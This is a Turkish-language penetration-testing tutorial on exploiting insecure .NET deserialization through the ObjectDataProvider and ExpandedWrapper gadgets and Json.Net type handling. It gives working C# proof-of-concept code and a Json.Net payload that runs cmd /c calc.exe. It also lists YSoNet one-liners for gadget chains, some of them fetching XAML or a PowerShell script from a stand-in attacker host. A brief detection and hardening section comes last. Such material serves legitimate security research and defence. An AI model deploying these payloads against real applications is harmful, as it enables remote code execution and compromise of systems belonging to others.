# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} Bu yazı, **ObjectDataProvider gadget'ının nasıl istismar edildiğini** anlamaya ve **Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğini** açıklamaya adanmıştır. ## ObjectDataProvider Gadget Belgelerden: _ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur._\ Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, **rastgele bir nesneyi sarmaya** izin verir, _**MethodParameters**_ kullanarak **rastgele parametreler ayarlamaya** ve ardından **MethodName kullanarak rastgele bir işlevi** çağırmaya olanak tanır.\ Bu nedenle, rastgele **nesne**, **serileştirilirken** **parametrelerle bir işlevi** **çalıştıracaktır.** ### **Bu nasıl mümkün** **System.Windows.Data** ad alanı, **PresentationFramework.dll** içinde `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` konumunda tanımlanmış ve uygulanmıştır. [**dnSpy**](https://github.com/0xd4d/dnSpy) kullanarak, ilgilendiğimiz sınıfın **kodunu inceleyebilirsiniz**. Aşağıdaki resimde **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** kodunu görüyoruz. ![](<../../images/image (427).png>) Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor, ne yaptığını görelim: ![](<../../images/image (319).png>) Tamam, şimdi `this.BeginQuery()` ne yapıyor ona bakalım. `BeginQuery`, `ObjectDataProvider` tarafından geçersiz kılınmıştır ve işte yaptığı: ![](<../../images/image (345).png>) Kodun sonunda `this.QueryWorke(null)` çağrıldığını not edin. Bunun neyi çalıştırdığını görelim: ![](<../../images/image (596).png>) Bu, `QueryWorker` fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısını yapıyor, bu, **metodun ayarlandığı yer**. Sadece _**MethodName**_ ayarlayarak **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz: ```java using System.Windows.Data; using System.Diagnostics; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add("cmd.exe"); myODP.MethodParameters.Add("/c calc.exe"); myODP.MethodName = "Start"; } } } ``` Not edin ki `System.Windows.Data` yüklemek için _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ referansını eklemeniz gerekiyor. ## ExpandedWrapper Önceki istismarı kullanarak, **nesnenin** bir _**ObjectDataProvider**_ örneği olarak **deseralize edileceği** durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne `GetType` ile deseralize edildi). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesne türü hakkında **hiçbir bilgiye sahip olmayacağız** (`Process` örneğin). DotNetNuke zafiyeti hakkında daha fazla [bilgi burada](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz. Bu sınıf, belirli bir örnekte kapsüllenmiş nesnelerin nesne türlerini **belirlemeye** olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\ Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_ nesnesini bir **_**ExpandedWrapper**_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** _**OjectDataProvider**_ nesnesini **oluşturacaktır**. Bu sarmalayıcıyı aşağıdaki kod ile kontrol edebilirsiniz: ```java using System.Windows.Data; using System.Diagnostics; using System.Data.Services.Internal; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ExpandedWrapper myExpWrap = new ExpandedWrapper(); myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); myExpWrap.ProjectedProperty0.MethodName = "Start"; } } } ``` ## Json.Net [Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye** izin verdiği belirtilmektedir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, sadece bir nesneyi serileştirerek **RCE**'ye neden olabiliriz. ### Json.Net örneği Öncelikle, bu kütüphaneyi kullanarak bir nesneyi **serileştirmek/serileştirmek** için bir örneğe bakalım: ```java using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic; namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = "james@example.com", Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { "User", "Admin" } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]} //Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } } ``` ### Json.Net'i Kötüye Kullanma [ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak bir istismar oluşturdum: ```java ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` Bu kodda **sömürüyü test edebilirsiniz**, sadece çalıştırın ve bir hesap makinesinin çalıştığını göreceksiniz: ```java using System; using System.Text; using Newtonsoft.Json; namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); //Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } } ``` ## Gelişmiş .NET Gadget Zincirleri (YSoNet & ysoserial.net) Yukarıda tanıtılan ObjectDataProvider + ExpandedWrapper tekniği, bir uygulama **güvensiz .NET deserialization** gerçekleştirdiğinde kötüye kullanılabilecek birçok gadget zincirinden sadece biridir. Modern kırmızı takım araçları, **[YSoNet](https://github.com/irsdl/ysonet)** (ve daha eski [ysoserial.net](https://github.com/pwntester/ysoserial.net)) gibi, onlarca gadget ve serileştirme formatı için **kullanıma hazır kötü niyetli nesne grafikleri** oluşturmayı otomatikleştirir. Aşağıda, *YSoNet* ile birlikte gönderilen en kullanışlı zincirlerin yoğunlaştırılmış bir referansı ve bunların nasıl çalıştığına dair hızlı bir açıklama ile payload'ları oluşturmak için örnek komutlar bulunmaktadır. | Gadget Zinciri | Ana Fikir / Primitive | Yaygın Serileştiriciler | YSoNet tek satır | |----------------|-----------------------|-------------------------|------------------| | **TypeConfuseDelegate** | `DelegateSerializationHolder` kaydını bozar, böylece, malzeme haline geldiğinde, delegate *herhangi bir* saldırgan tarafından sağlanan metoda (örn. `Process.Start`) işaret eder | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | | **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`'ı kötüye kullanarak *bypass .NET ≥4.8 type-filtering* yapar ve sağlanan bir sınıfın **constructor**'ını doğrudan çağırır veya bir C# dosyasını anında **derler** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | | **DataSetOldBehaviour** | `System.Data.DataSet`'in **eski XML** temsilini kullanarak `` / `` alanlarını doldurarak keyfi türleri başlatır (isteğe bağlı olarak `--spoofedAssembly` ile assembly'i sahteleyerek) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | | **GetterCompilerResults** | WPF destekli çalışma zamanlarında (> .NET 5) özellik getter'larını zincirler ve `System.CodeDom.Compiler.CompilerResults`'a ulaşır, ardından `-c` ile sağlanan bir DLL'yi *derler* veya *yükler* | `Json.NET` türsüz, `MessagePack` türsüz | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | | **ObjectDataProvider** (gözden geçirme) | WPF `System.Windows.Data.ObjectDataProvider`'ı kullanarak kontrol edilen argümanlarla keyfi bir statik metodu çağırır. YSoNet, kötü niyetli XAML'yi uzaktan barındırmak için kullanışlı bir `--xamlurl` varyantı ekler | `BinaryFormatter`, `Json.NET`, `XAML`, *vb.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | | **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` içine `ScriptBlock` gömülür ve bu, PowerShell nesneyi deseralize ettiğinde çalışır | PowerShell uzaktan erişim, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] > Tüm payload'lar varsayılan olarak **stdout'a yazılır**, bu da bunları diğer araçlara (örn. ViewState oluşturucuları, base64 kodlayıcılar, HTTP istemcileri) yönlendirmeyi kolaylaştırır. ### YSoNet Kurulumu / İnşası Eğer *Actions ➜ Artifacts* / *Releases* altında önceden derlenmiş ikili dosyalar mevcut değilse, aşağıdaki **PowerShell** tek satırı bir inşa ortamı kuracak, depoyu klonlayacak ve her şeyi *Release* modunda derleyecektir: ```powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')); choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes; git clone https://github.com/irsdl/ysonet cd ysonet nuget restore ysonet.sln msbuild ysonet.sln -p:Configuration=Release ``` Derlenmiş `ysonet.exe` daha sonra `ysonet/bin/Release/` altında bulunabilir. ### Tespit ve Güçlendirme * **Beklenmeyen** `w3wp.exe`, `PowerShell.exe` veya kullanıcı tarafından sağlanan verileri (örneğin `MessagePack`, `Json.NET`) deseralize eden herhangi bir süreç için çocuk süreçleri tespit edin. * Eski `BinaryFormatter` / `NetDataContractSerializer` kaldırılamadığında, **tip filtrelemeyi** etkinleştirin ve **zorlayın** (`TypeFilterLevel` = *Full*, özel `SurrogateSelector`, `SerializationBinder`, *vb.*). * Mümkünse **`System.Text.Json`** veya **`DataContractJsonSerializer`** ile beyaz listeye dayalı dönüştürücülere geçin. * Asla ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF derlemelerinin (`PresentationFramework`, `System.Workflow.*`) yüklenmesini engelleyin. ## Referanslar - [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) - [ysoserial.net – orijinal PoC aracı](https://github.com/pwntester/ysoserial.net) - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) {{#include ../../banners/hacktricks-training.md}}